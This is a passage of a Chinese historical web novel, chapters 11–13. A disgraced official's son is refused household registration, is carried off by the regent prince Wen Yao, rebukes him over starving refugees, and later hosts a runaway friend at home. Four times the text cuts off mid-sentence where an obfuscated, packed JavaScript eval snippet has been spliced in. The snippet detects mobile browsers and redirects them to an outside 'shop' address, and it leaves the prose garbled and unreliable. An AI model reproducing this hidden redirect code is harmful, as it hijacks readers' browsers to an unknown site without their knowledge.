那傀儡架起胳膊,直愣愣把岳旬往前送:“北直隶户籍归山东清吏司兼管,没站错,往前走。拿好你的原籍路引去填《南渡人口勘核单》,没带的回家取,丢了的找两个同乡作保。识字的取了自己填,不识字的文书问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163794|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么你答什么!” 这一连串的字连珠炮一样,连个喘气的空隙都没有,不打招呼就朝着岳旬扑面而来,差点把他掼个跟头。还不等岳旬道一句谢,就被推搡着到下一个人面前。 山东清吏司主事的嗓子已经冒烟了,一句话都说不出来,只知道伸手点头问岳旬要路引。 岳旬不敢含糊,从袖笼里掏出几张薄纸就递了过去。主事随便瞄了两眼,一手拿出印来就要往《勘核单》上盖。 岳旬早就准备好了,为了减轻这可怜的家伙的负担,忙不迭伸出两手:“我识字,我自己填。” “等等。”大印已经盖上去了一角,主事的眼睛还凑在岳旬的路引上下不来。 他看了一早上路引,就算是一双鹰眼也要看花了,架着一副不太好使的琉璃眼镜,几乎要把路引贴在自己脸上。不知道刚才让他看见了什么,总归又拿那一双昏花的眼睛上上下下把岳旬的路引舔了一遍,如临大敌:“你是官眷?” 岳旬支支吾吾:“嗯。” “嘶。”主事把琉璃镜子拿下来,和刚才拿眼睛舔路引一样又把岳旬上上下下打量了个遍,“官眷来这里做什么?南渡官员皆由吏部核查原职文牒,无误后直接就从吏部移交户部了,你们全家的户籍不都搞明白了?你还自己来这里做什么?” 岳旬哽住了。 那主事又看了他两眼,见他衣着普通,便又问:“是替自家主子办还是自己办?奴籍跟着主家走就行了,回去好好问问主家,别办错了事。” “给我自己办。”岳旬头上的汗都出来了,方才扯出来的笑容还勉勉强强僵在脸上,“岳旬是我本人。” 主事办了一早上的户籍,解释了一早上的问题,早就已经不耐烦了,眉头一皱瞪起眼睛:“方才不是说了,官员家眷的户籍直接从吏部移交……” “家父是革员。”岳旬不动声色将自己的路引从主事的两根手指上抢了回来,他心里清楚,这话要再往下说,他今天要来办的户籍恐怕是办不了了。 他得先把自己的路引收好,一会儿要是撕吧起来毁了,他可没办法找两个清白“百姓”来给他作保。 果然,那主事听见“革员”两个字,眼睛都瞪大了:“革员?” 按大胤律,定罪论处的叫罪臣,尚未定罪的才叫革员。如今天底下还有几位人尽皆知的岳姓革员? 那主事的脸色冷了下来,把笔和印往旁边“咣当”一搁:“岳含章的儿子?我办不了!” 岳旬心里冷笑,这位山东清吏司主事对他老爹还算客气,唤的竟是他的字。到这种时候了,竟然都没有直呼其名破口大骂,还真是有涵养:“革员自然过不了吏部勘核,不在户部办,在哪里办呢?” “岳旬,本官看你倒不必着急。”主事见他并无一点心虚害怕之意,忏悔懊恼也不见分毫,想起大胤沦陷的那半壁江山,不由得要出言嘲讽,“待岳含章的罪过定了,自有你一碗牢饭吃!” 11. 第十一章:英雄救美 岳含章。 三个字如石子入水一般,一下子就激起了涟漪。周围办差的余下三个户部主事都转过头来,窸窸窣窣说话。 “岳盛。” “岳含章。” “岳盛的儿子。” 他们不一定知道自己是谁,也不一定知道自己叫什么。他们只知道,他是岳盛的儿子,是那个大胤半壁江山沦陷的罪魁祸首的儿子。 多少人流离失所,多少人妻离子散,又有多少人命丧黄泉。单是想一想这些,就会有冲天的怨气。可他们的怨气毕竟凝不成实体,渡不了淮河打不了北鞑,只能将满腔的怒火变作箭矢,射在这个离他们最近的靶子上。 嘈杂的声音潮水一样倒灌进耳朵,蒙住了岳旬的口鼻,好像把人投进水里。 有种再也喘不上来气的错觉。 身后排着队的百姓吵嚷起来,大家举起了手里的路引,叫嚷起来:“不办就别在这堵着!” 岳旬在脸上抹了一把,阴沉下脸来,先前语气中的客气分毫不见了:“革员过不了吏部勘核,我也还没去吃牢饭。那我的户籍,该不该归户部管?” “也不过就是三五个月的工夫,我现今说这话,与等你关进大牢里说这话有什么分别?”这主事听他语气不好,心里也带着气,两手一抱,支棱起一条凳子腿儿来,脸上胡子都翘起来了。 “主事何必要顾左右而言他?”岳旬一抬手就将自己的路引收进衣袖,环顾四周,特地把几个停了办公在看热闹的清吏司主事都看了一遍,“我只问你,依照《大胤律》,我是不是该在户部山东清吏司办户籍?” 不等这主事再说出反驳的话来,岳旬便上前一步,直视着他的眼睛:“《大胤律》规定,‘凡罪未审结者,籍贯如故’。待勘核官员的子孙,未定罪前仍以良籍录之。家父还未曾定罪尚是革员,你究竟是凭借哪条哪点,非说今日办不了我的户籍?” “况且户籍登造‘验契据而不问官讼’,我的路引文书齐全,说因家父是革员就办不了户籍,又是凭的什么?” 那山东清吏司主事官职再低,也是两榜进士天子门生。他一个正六品的京官被岳旬这个白身——甚至可以说是带罪之身——抢白了几句,火冒三丈,当即将印在桌上一拍:“你爹岳盛该是个什么罪过,天下人无人不知无人不晓。这样罪大恶极之人,还用得着问我凭的是什么?” “今日给你录了良籍,就问天下人看不看得过眼!” 岳旬看着主事的胡子乱颤,竟然不由的想起温杳驳斥康王时的场面,当时温杳口中的几句话便脱口而出:“家父该是什么罪过,自有三法司定夺,难不成凭主事一张嘴就可以为我父亲定罪了?” “主事这样笃定又是凭借的什么证据?难不成主事手里藏有什么关键的罪证,若真是有,为何不拿出来?” 这主事品阶太低,没能见到除夕夜晚上温杳驳斥康王这样“激动人心”的场面,但大约是有所耳闻的。但他实在没想到,竟然能被岳旬这么个小崽子当康王骂,连手都抖起来了:“来人!此人咆哮公堂,不敬堂官,就地拿下了!你不是想吃牢饭吗?这就让你现在就吃上一碗牢饭!” 左右兵丁立即上前,钳住了岳旬的臂膀。岳旬并不挣脱,他此刻脑子一抽,竟然仰天大笑三声,做足了忠臣死谏的架势:“今日你拿下了我,他日便还有这般主观臆断便为旁人的定罪之事!” 他本来不想哭的,这会儿却硬生生给自己逼出了眼泪,大有一番屈子饮恨汨罗江之潇洒:“要知官吏臆断,实乱法之端啊!” 山东清吏司主事不知道他这是抽得哪门子疯,青筋都暴跳起来了,大手一挥:“带走!快带走!” “啧啧啧,好生热闹啊。” 人群之中忽然想起了拍掌声,听见这个声音,山东清吏司主事当场一个激灵,抬起眼来跟见了阎王一样。周遭几个清吏司主事并几个文书胥吏连滚带爬从椅子上滚了下来,五体投地。 两边看热闹的百姓见此情形,下意识就跪了一片,头也不敢抬。 岳旬被这几巴掌拍卡了壳,在被兵丁摁着跪下之前抬眼看了一下——果真是阎王来了。 该死! 他方才刚发两句癫,好死不死怎么温杳过来了,恐怕全让他瞧见了! 温杳跨在马上,穿着过肩龙的赤红曳撒,身上的罩甲还不曾卸。红曳撒,白罩甲,冷风里白雪红梅一样鲜艳。 岳旬心说不是宴请海贸众商吗?怎么穿得跟才从校场上下来似的,身后还跟了一大队凶神恶煞的辽东军。 温杳按着刀,语气轻松,同身后跟着的魏广调笑起来:“从前光听你说后湖的风光好,不曾想今日还能看上这样一场大戏,果真不白来。” “可说呢!”魏广深知他主子的意思,也咧开嘴笑,“三堂会审,老好看了!” 温杳并不下马,牵着缰绳往前哒哒走了几步:“都跪着干什么?都起来,让他接着唱嘛!” 他一扬下巴,拿下巴尖儿点了岳旬一下。 唱你妈个头! 岳旬被按着脑袋,在底下猛翻白眼,恨不得当场就死了。好容易发一回癫,敢情全让他瞧见了! 没等岳旬的白眼翻完,几个兵丁钳着他就把他的头抬了起来。他看见温杳居高临下瞥视下来,仿佛看见什么好笑的事情忍不住一般,冲着自己弯了弯嘴角。 当初在温杳马车上那种脸上发烧的情况又出现了,便随着的是无法控制的强烈心跳声。“咚咚、咚咚”一下一下砸在岳旬的耳朵里。 他被两侧的兵丁押着站起了身。 温杳纡尊降贵抬起手来,扬起了手中的马鞭。见他扬鞭,岳旬下意识就以为这一鞭立即就要抽在自己身上,责打他这个“咆哮公堂”“唱大戏”的凶犯。 岳旬眼睛一翻,偏着头梗着脖子打算生受了。 温杳见他的神情眼中就带上了笑,屈起手中的马鞭,然后轻轻拍了拍岳旬梗着脖子亮出的那边面颊,转眼却瞧着一旁的山东清吏司主事:“活了那么些岁数,《大胤律》读得还没个十五六的孩子明白,脸上不害臊吗?” “至于这个小崽子……”温杳眉开眼笑,拿马鞭把岳旬的下巴一勾,强迫他抬起脸直视着自己的眼睛,“本王就带走了。” 耳内的心跳声聒噪,岳旬几乎要听不清温杳的话。直到温杳把他的下巴抬起来那一刻,他还在忍耐着可能出现的凌辱,憋着一口气,完全是一副隐忍的空白。 温杳一边眉毛飞了起来。 看见他的神情岳旬才意识到他二人现今是个什么动作,一下子清醒了。他猛然避了一下,躲开了温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163795|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杳的马鞭。 他似乎听见温杳轻轻哼笑了一声:“带走!” 可怕的瓷人一手就提溜起了岳旬,手一抛打横扔到马背上。岳旬肚子朝下重重与马背来了个亲密接触,险些把他今晨在薛家吃的金贵白米给吐出来。 温杳也不管,仍由岳旬晃荡着四肢,麻袋一样在马背上晃荡。 温杳这荒唐东西,强抢民女恐怕也就是这阵仗了吧! 岳旬头晕眼花天旋地转,张嘴想要骂人,可是先出口的却是几声难以抑制的“呕——”。温杳疯跑了一阵,估计是真害怕岳旬吐在他马上,竟逐渐慢了下来。 岳旬一阵子天旋地转,最后不知是怎么从温杳的马上翻下来的。再清醒过来的时候是他蹲在地上干呕,那个可恶的始作俑者跟个没事人一样站在他身侧,暖暖和和揣着个不知哪里摸出来的手炉。 见他抬眼看自己,一脸好笑,伸手给岳旬递了张帕子。 这神色看着也太寻常了,仿佛温杳从来没有打算让岳旬做个没名字的鬼,岳旬也从来不曾有过拔出刀来一刀了结了温杳的心思。好像那一切的剑拔弩张从未发生过。 周遭跟着的人竟然全都走了,就剩个魏广远远在那遛马,一人领着两匹,笑得可欢! 温杳此人心思难测,岳旬一时间还琢磨不出他究竟想要如何,只好先顺着温杳的意思接过帕子,按了按自己汗湿的鬓角:“宁王殿下选得好地方,这里确实还挺适合杀人抛尸的。” “可不敢,杀人抛尸那我不就成了‘残害忠良之后’。”温杳偏过头去,看着蹲在地上两腮紧绷的岳旬,从他的脸上看到他的手上,慢条斯理将自己手里的手炉往岳旬怀里递,“还是你真想吃牢饭?” 岳旬一手攥着帕子,没接他的手炉,扶着膝盖慢慢直起身来:“吃牢饭好啊,吃牢饭不用花钱”。 这个年纪的少年人正抽条长个儿,岳旬几乎一天一个样子,从前在温杳面前小鸡子似的,如今竟然也能翠竹拔节一样挺立在原地了。 温杳对他这种目光毫不在意,对他语气中的嘲讽也是浑然不顾,只是皮笑肉不笑,把那个手炉硬往岳旬手里塞:“好生拿着吧,你不正需要这东西吗?成日家在外面四处游荡,去些不三不四的地方,结交些没皮没脸的人,冻得一手烂疮——还十年,你拿得住笔吗?” “你还问我拿得住笔吗?” 两人原本还有一搭没一搭冷嘲热讽,可听了这句话,岳旬倍感荒谬。怒极反笑,他抽冷子狠狠笑了几声。 被清吏司主事制住时仰天大笑时,还能说是脑子一热发起癫来,打算用胡搅蛮缠蒙混过关——他完全是故意的,心里门儿清,他控制得了。 可现如今他却抑制不住地颤抖起来,聒噪的心跳声连同怒意一起往上涌,翻搅得少年人的心绪沸水一样搅了起来,几乎要压不住辽东兵败以来他用嬉皮笑脸、满不在乎与装傻充愣掩盖住的情绪。 冤。 屈。 恨。 怒。 逼着这个不满十六岁的少年生生将眼前的摄政王逼退了一步——还管他面前是什么十殿阎罗,虎豹豺狼。 “我如今这般境地,难道不正是拜皇叔所赐吗?!我如今已是白身一个了,你不如干脆给我个痛快,白刀子进红刀子出,捅死我算完!” 12. 第十二章:寒骨露野 被岳旬的大逆不道的怒气扑了一脸,大胤这位权倾朝野的宁王殿下竟然没动怒。他抬起眼睛将岳旬上下扫视,好似没想到他会突然那么大反应似的,目光中流露出些诧异。盯着他的表情看了半晌,竟然又笑了。 还是那一副观赏幼兽炸毛的神情,好像岳旬真是个什么才破壳的雏鸟,炸开了浑身的羽毛,支棱着翅膀朝着他尖声喝骂。 可怜可爱,很有意思。 岳旬最厌恶他这副神情,毫不退让地又往前逼了一步:“宁王殿下何必看着我这样笑,你当我不知道你在想什么吗?你觉得我是个玩意儿东西,觉得我这样好笑,是也不是!” 他不怕千夫所指,更不怕温杳要杀他。话都说到这种份上了,他倘若当真能为自己、为父亲,用“岳旬”这一身份献出一颗头颅去,倒也算大义凛然全了孝道。 以他现在这样的身份,已然算得上是死得其所了。 可他凭什么拿自己当人事不懂的幼童看?甚至说当个随便什么猫猫狗狗一样的小玩意儿? 听了岳旬的话,温杳不置可否。 他是金尊玉贵的宁王殿下,根本不屑于承认,更不屑于辩驳。 不过听岳旬这样说话,他脸上那种要笑不笑的神情倒是收敛了些许,沉静下来。 “您这样看我倒罢了,毕竟我如今确实是个人人皆可以践踏的蝼蚁。可宁王殿下扪心自问一句,是不是天下人在你眼里看来,都是我这样的玩意儿东西?” 岳旬指着温杳手里的手炉,连连冷笑,连手指都发着抖:“殿下不必将这东西送给我,也不必像怜悯大雪天受冻的狗一样怜悯我!您这手炉金贵,里头要烧银丝炭,我实在供不起。” “一斤御用银丝炭,价高时能值五钱银子。想必宁王殿下不知道五钱银子么概念吧?” 那日他被薛琮手里的隆靖宝钞洒了一脸,一路走回家的时候,在路上遇见了插草标卖孩子的妇女。 是南渡的流民。 几个脏兮兮的小孩子跪坐在地上,瘦得只剩下一双黑漆漆的眼睛。抬着头,安安静静的,用小狗看人的眼神看着他。 岳旬只低头看了那个孩子一眼,那女人就拉过孩子来给他看牙口:“小公子,发发善心行行好,买回家去吧。她在家里洗衣裳做饭,照顾弟弟妹妹,是个手脚齐全的麻利孩子。” 那孩子被母亲拽着站了起来,女人口中“齐全”的手脚,细得像初春新长出来的苇子草。 “那个孩子只要四两银子,皇叔用的银丝炭,能换八斤;白米能换一千二百斤,供得起一家五六口子人多少年的生计!” 那天岳旬站在那个妇人面前,浑身上下就摸出云韶院卖曲子词的三十文钱。 她叫他小公子,可他早就不是小公子了。 他就算拿得出四两银子,买下了这个孩子,又能给这个孩子一个怎么样的明日呢? 就算他还是个衣食无忧的二品大员家的公子,又能保证她今后过上怎么样的生活呢? 为奴为婢,蹉跎一生吗? 淮南江北,河东河西,多少这样的妇人与孩子都睁着他们黑漆漆的眼睛,像阴曹地府里的恶鬼仰望人间一般仰望着人。 他却毫无办法,他什么都做不了。 岳旬那天羞愧难当,当场被手里的三十文钱烫成了个煮熟的虾子。他把那烫手的三十文钱送进那妇人的手里,一句话也没说出来,捂着脸跑了。 “所以我也不需要你怜悯,我没有死于战火,没有冻死饿死;我没有卖儿卖女出卖我自己;甚至我都还没过到啃树皮吃观音土的地步。”岳旬一说话,就想起那天那个孩子的眼睛,就觉得脸上发烫发烧,然后觉得有冰凉的东西从他的脸上滚落下来,“我手脚齐全,有吃有喝,甚至能有间屋子读书,有力气在山东清吏司录事面前撒泼打滚,我过得好得很呢。” “‘白骨露于野,千里无鸡鸣。’①宁王殿下身居高位,自然见我们都是蝼蚁。”岳旬抹了一把脸,又拿温杳的帕子把自己的手擦干净,遮住了自己满手的冻疮,“可天下毕竟是温家的天下,今日天下人过到这种地步,殿下不羞愧吗?” “无论是当初辽东兵败京师沦陷,还是如今的饿殍遍地南望王师。殿下不羞愧吗?” “羞愧?羞愧有何用处?”面对岳旬字字泣血掷地有声的质问,原本不惜得开口解释的温杳,竟然头一回以与成人讲话的语气开了尊口,“如今北鞑的铁骑尚且压境,随时都有可能迈过淮河沿线踏上江北的土地,丢了淮河长江自然也守不住,难道一退再退吗?我就算日也羞愧,夜也羞愧,难不成阿日斯汗就能顾念着我大胤百姓退兵不成?” “昔日太祖皇帝北伐,江南十室九空犹且征粮八十万石。如今北鞑压境,重中之重放在第一位的自然是这场仗应当怎么打下去!一味耽于仁政,效仿宋室,那今日的金陵以后便是第二个临安!” 温杳冷下脸来,方才神情中的逗弄全然消失不见,岳旬只看见他说话时嘴里呼出的白气。 “先帝殉国时,国库存银不足七万两。供给军需都是僧多粥少,勒紧裤腰带都过不下去,更不用说再顾念其他!”温杳不笑的时候,比平时看起来更像是扯了张人皮面具,天寒地冻,显得更像个瓷人,吐出来的话也是冷冰冰的,“今日我见了你羞愧,明日我见了流民也羞愧,掉眼泪说软话浪费些没有用的‘仁义’,后日北鞑铁骑就踏过河来渡过江来!那百姓就连今天这样的日子也过不上,到时秦淮河就只能流血千里伏尸百万。” 温杳说完这句话,仰脸喊人:“魏广!” 遛马不知遛到何处去的魏广“呼”一下不知从何处窜了出来,背着弓,一手拎着一只兔子,喜气洋洋颠儿颠儿地跑过来:“主子我打了两只兔子,你俩吃不吃……” 魏广的后半句话戛然而止,噎进了喉咙里——他怎么看怎么不对,看着他主子的表情,再看看岳旬因为激动而发红的眼眶,一个紧急刹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163796|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车把两只兔子背在身后,立正站好了。 谈崩了,明显是谈崩了。 温杳自然瞥见他背后的兔子,冷笑两声:“混账东西,就知道吃!” 他黑着一张脸拉过了自己马的辔头,翻身上马:“走!” “得嘞!”魏广见他主子管也不管他,打马就跑,顿觉自己要是留下这两只兔子可能回去以后会完蛋,于是万般不舍地把两只兔子全都放在了岳旬面前。他乱七八糟打了个让岳旬拿回家吃的手势,手上硕大的翡翠扳指在岳旬眼前乱晃一阵,骑上马就跑。 追他跑得快看不见人影的主子去了。 岳旬和地上两只死兔子大眼瞪小眼瞪了半天,莫名看出一种悲愤交加的委屈感,大约是魏广不死的冤魂。 算了,不吃白不吃。 岳旬默默捡起地上两只兔子,把温杳的帕子掖进怀里,打算自行回家。他站在原地环视一圈,险些把手里的兔子掼在地上—— 这是个什么荒郊野岭的破地方!走哪边是进金陵城的路啊! 另一头,扔下岳旬就跑的温杳看起来没有丝毫愧疚之意,一路上一句话也不说。 魏广想起自己那两只倒霉兔子,觉得自己还是不要贸然开口触自家主子这个霉头为妙。 “都说岳旬长得更像周家人,我看终究还是最像他父亲。”两人打马走了一路,快回宁王府的时候温杳才冷不丁开了口,吓了魏广一个哆嗦,没揣测出自己主子是什么意思,支支吾吾半天答不上话。 温杳大概也不需要他答话,自嘲一般笑了:“他们读书的人,骨子里终究是一个模样——只是世间哪里有两全的办法,又要国祚千秋万代,又想人人安乐太平。” 他不明白,到底为什么这两件事会是相悖的? “十六岁。”温杳捏着缰绳,拧起眉头,陷入了遥远的沉思,“十五六岁的时候,咱俩在做什么?” “主子十六岁的时候是仁正二年,和姜家大爷一起在辽东历练,已经跟着孙老将军打了两年仗了。”魏广是温杳在辽东捡的,给他做亲卫的这几年兢兢业业,大小事务就记得门儿清,“诶,从那会儿起孙老将军和岳中丞好像就有些意见相左,常常争论,都是主子同姜家大爷去说和的。” 大胤文官节制武官,当年辽东兵败,说孙老将军和岳盛“文武不和,耽误军机”的言论甚嚣尘上,而后更是传出了岳盛有“通敌叛国”之嫌疑。 不过温杳却并不打算在这个话题上耽搁太久,只是把“仁正二年”这个年份反反复复在嘴里琢磨了许久:“仁正二年啊……是我第一回见阿日斯。当初丧家之犬一样的人,谁能知道竟然还有今日。” 阿日斯,北鞑的汗王,占据大胤半壁江山的可怕刽子手。从温杳嘴里说出来,无悲无喜,辨别不出到底是个什么态度,倒像个寻常的故人。 “十六岁,确实不小了。”温杳打了个呼哨,一握缰绳,策马奔腾起来,“不能再当个孩子看。” 13. 第十三章:姜家二爷 等到岳旬靠着一双腿从那个“非常适宜杀人抛尸”的荒郊野岭走回家,天已经黑透了。 手里的两只兔子是魏广当初杀好剥了皮的,岳旬拎在手里一路走回来,等走到门口的时候冻得梆硬,抡起来感觉能砸昏一个精壮男子。岳旬已经走得没脾气了,看这兔子只觉得好笑,举起来咣咣砸门。 “吱呀”一声,门开了,探出来的却不是周七那张老脸,竟然是个小少年。 那小少年见了岳旬就眉开眼笑,伸脖子朝里面探头喊去:“二爷!岳公子回来了!” 岳旬一见他,整张脸当即皱成个十八个褶的包子,快步闯进了自己院子,拉开门一瞧—— 果然有一个锦衣少年大大方方斜倚在炕桌上,去了帽子只戴着懒收网,脑后的短发从网巾里乖顺地垂下来,见岳旬回来,嘴里还塞着点心,咕咕哝哝的:“诶呦我天,旬哥儿你可算回来了,我在你家等了你一天!一整天都见不着人,干什么去了?” 岳旬把手里两只冻得僵硬的兔子“咣唧”砸在炕桌上,桌上的果子点心齐齐往上跳了一跳:“打猎。” 锦衣少年嘴一扁,语带嫌弃:“一整天,就打俩兔子回来?” “有就不错了!你还挑什么?我这就让周伯拿十八种香料去卤了,卤好你一口都别吃!”门口的小僮见他俩又拌起嘴来,笑嘻嘻进了门,给岳旬奉了盏热茶,岳旬尝了一口,竟然是去年的明前。 明前龙井,多久没喝过的稀罕玩意儿了,当时被关在宁王府的时候都没喝上这一口好的。岳旬刮着茶盖,连连品了好几口。那锦衣少年见他光喝茶不说话,在旁边急得吱哇乱叫:“不行,那我要吃。” 小僮搁下茶盘:“那小的去买香料?” 岳旬一点头,挥手让他把梆硬的兔子拿走了。 岳小公子端了半天的架子,终于搁下茶盏:“怎么回事儿姜老二?又和明烟儿吵架了?” 来者正是庆国公的次子,同岳旬玩泥巴长大的发小之一,姜令。 姜令闻言,支支吾吾好半天,含含糊糊应下:“算是吧。” “什么叫算是吧?”岳旬方才喝了一盏茶,终于觉得暖和过来,这才脱了鞋,也倚在炕床上,吃姜令带过来的点心,“你俩打小儿就这样,三天好了,两天恼了,弄得我里外不是人。这回又是怎么了?” 姜令嗫嚅一阵,一张脸垮了下来,愁苦异常:“烟烟从庆国公府搬出去了。” “这不很正常吗?你俩虽然自幼定亲,可她毕竟还是个未嫁的姑娘家。先前一直住着,不过是因着刚到金陵来一通忙乱,受你娘庇护‘暂住’在你家。”岳旬见他愁眉苦脸的,心说这算个什么大事,等过了明路成了亲不就还住在一起了? “不是这么简单的事。”姜令愁眉苦脸,连点心吃到嘴里也味同嚼蜡,“烟烟此次辟府别居,住的是御赐的房子。” “这不是更寻常了。御赐之物怎可拒绝?”岳旬心里腹诽,虽然目前的御赐基本等于“宁王所赐”,“明烟儿的父兄——宣平侯及其世子皆是殉国,进太庙都绰绰有余了。先前不就说是要给明烟儿封个郡主还是县主,御赐个府邸又有何奇怪?” 听了岳旬的话,姜令越发同个冷掉的油条一般泄气:“不是这个由头赏赐的。是嘉奖除夕夜明烟儿勤王救驾,杀贼有功!宁王给她封赏了个正三品昭勇将军的虚职,这才赐下宅邸的。” “原是军功受封啊。”岳旬摇头啧啧,心里感叹。真不愧是勋爵之后,虽说是虚衔,可起步就是正三品的昭勇将军,旁人拍马也赶不上。 若是寻常勋贵便罢了,宣平侯祖上与庆国公一样,是开国伊始所封四公八侯之一,乃是开国元勋。这几家人只要没有什么谋逆大罪,哪怕儿孙不肖些,尽可以保一辈子荣华富贵。 奈何宣平侯的儿孙争气啊。 光义帝乃是藩王承嗣,当初便是宣平侯几家一路护送光义帝从藩地到京师,这便又是一层从龙。 再加上陆明烟父兄殉国,是实打实的英烈,她这辈子就算什么也不做,朝廷也必要给这孤女一个面子,保她一辈子尊贵非凡无人敢欺。 可她偏偏剑走偏锋,选了一条无人走过的路。 岳旬思忖一番,忽然明白了姜令陆明烟到底闹的什么别扭:“明烟儿将门虎女,咽不下这口气来。她勤王救驾,受封武职,只怕都是要……她是要以女子之身亲自承袭自家的爵位,是也不是?” 姜令要死不活,揣着袖笼点了点头。 那这就有点……微妙了。 庆国公府同宣平侯府这门亲事本就是门当户对,陆明烟若得了郡主诰封,姜令便可高枕无忧了。姜令是次子,倘使他承袭爵位,陆明烟便是他仕途上的助力;他若是不承袭爵位,一辈子吃喝玩乐,那陆明烟的身份也能保他一辈子太平无忧。 可若是陆明烟要袭爵呢? 陆明烟自己做了侯爷,那谁做侯夫人?姜令吗? 姜老二大约没那么多心眼子,一天到晚“烟烟”长,“烟烟”短,对这门亲事恐怕想不到这一层上,那就只能是…… 想及此处,岳旬把刚拿起来的茶盏又搁在了小桌上,往前探了几分:“姜伯父姜伯母怎么说?” “母亲倒是没说什么,就是父亲对此……颇有微词。” 岳旬哼笑一声,按照庆国公那个性子,恐怕不只是“颇有微词”这么简单了。 “照我说这有什么!我又不袭爵。”姜令原本是窝在炕桌旁边,想到这里竟然忽然往上窜了一大截,颇为愤愤不平,“无非就是到时成了亲是烟烟跟我住,还是我跟烟烟住的问题。勋贵都住在一条大街上,就算是我和烟烟住,我爹娘想我,那我便时常回去不就是了?” “我娘性子又软和,倒也不必非要烟烟侍奉左右。家里的事,左不过有我大哥呢!”姜令拈起桌上一块点心,吃得满嘴是渣,喝了两口茶才噎下去,说话也呜呜噜噜的,“也不知我爹是吃了火药还是怎的,最近连我大哥哥也不待见!成日家在家里吵吵嚷嚷的,不是训斥我大哥,就是训斥烟烟同我,没个消停时日。” 岳旬又把脸皱在一起,心说你爹什么时候待见过你大哥了?你老爹若是待见你大哥,何至于到现在都没给他请封世子?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163797|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜含虽说和姜令不是一母同胞,但好歹也是正妻嫡出的长子,又在辽东打了几年仗——这有什么不能请封世子的,还不是庆国公不待见他这个大儿子。 姜含比姜令大了将近十岁,姜令自幼就同宣平侯的女儿定下亲事,可姜含呢?二十五六的人了,不但世子没着落,连亲事也没着落。 岳旬心里想的什么,姜令浑然不觉,只顾着叭叭地倒苦水:“我爹一训斥起我大哥哥来,话说得可难听了,连我大哥的生母都要连带上。一天到晚就是什么‘鞑子娘生个小鞑子’的,这又何必呢?” “且不说我大哥的亲娘早八辈子死了,再说了,当初我爹同我大哥的娘那是御赐的婚事。他娘不还是朝廷亲封的定安县主呢,照他这么说,那宁王的娘不是据说和定安县主一个爹?那宁王不也成了小鞑子……” “你可闭嘴吧我的祖宗!”姜令话还没说完,岳旬忽然暴起,一个猛虎扑食上去就捂住了姜令的嘴,“你这话在家里和我这里说说就行了,可千万不要在外面胡说八道!这有十个脑袋也不够你掉的!” 康王之前不就是揪着这件事不放,现在又是什么下场? 岳旬死死捂住姜令的嘴不放,姜令张手舞脚疯狂挣扎。他刚嘴里还包着点心,被岳旬这么一捂呛住了,哐哐咳嗽,上不来气。 岳旬怕把他捂死了,赶紧松开了手。 姜令咳嗽半天:“天哪,我的脑袋一时半会儿应当是丢不了,倒是险些被你给捂死!” “对不住。”提及此事,岳旬脑海中下意识浮现除了当初康王伏诛的场景,康王的血崩在温杳的脸上,像是雪地里开了一树的梅花,他赶忙甩甩头继续叮嘱姜令,“你这些话千万不要再在外面乱说了。” “我知道!我自然知道!”姜令逃脱岳旬的毒手赶紧往旁边挪了快八丈远,“我只是想同你说,我爹这几日不是同我大哥吵架,就是同我吵架,我实在烦得不行,所以才到你这里来的!这不是四五月份咱俩要下场院试了,我想住在你家备考。” 姜二爷离家出走了? 岳旬再次大惊失色:“姜伯父姜伯母怎么说?” 他现在这个近乎算是带罪之身的身份,姜家能乐意姜令同他与南渡之前一样交好? 庆国公夫人当初能庇护他南下,已然是看着当初周家的面子上,对他仁至义尽了。就算姜家今后再也不管他的死活,让姜令再也不要同自己来往,他心里也毫无怨言。 姜令父母娇惯,不懂得这些。可他是做兄长的人,要年长姜令好几个月!不能不为姜令考量。 “我娘知道我在你这里。她没说什么,只给我带了不少银钱,让我少给你添麻烦。”姜令指了指桌子上的点心,“这不,点心、茶,都是我自己带来的,你同我一起吃。伺候的人我也带了几个,你不用操心这些个身外之物。” “至于我爹……”姜令十分尴尬,一抓脑袋,“他让我‘滚了就不要再回去’,估计也不会关心我究竟在何处。” 岳旬:“……” 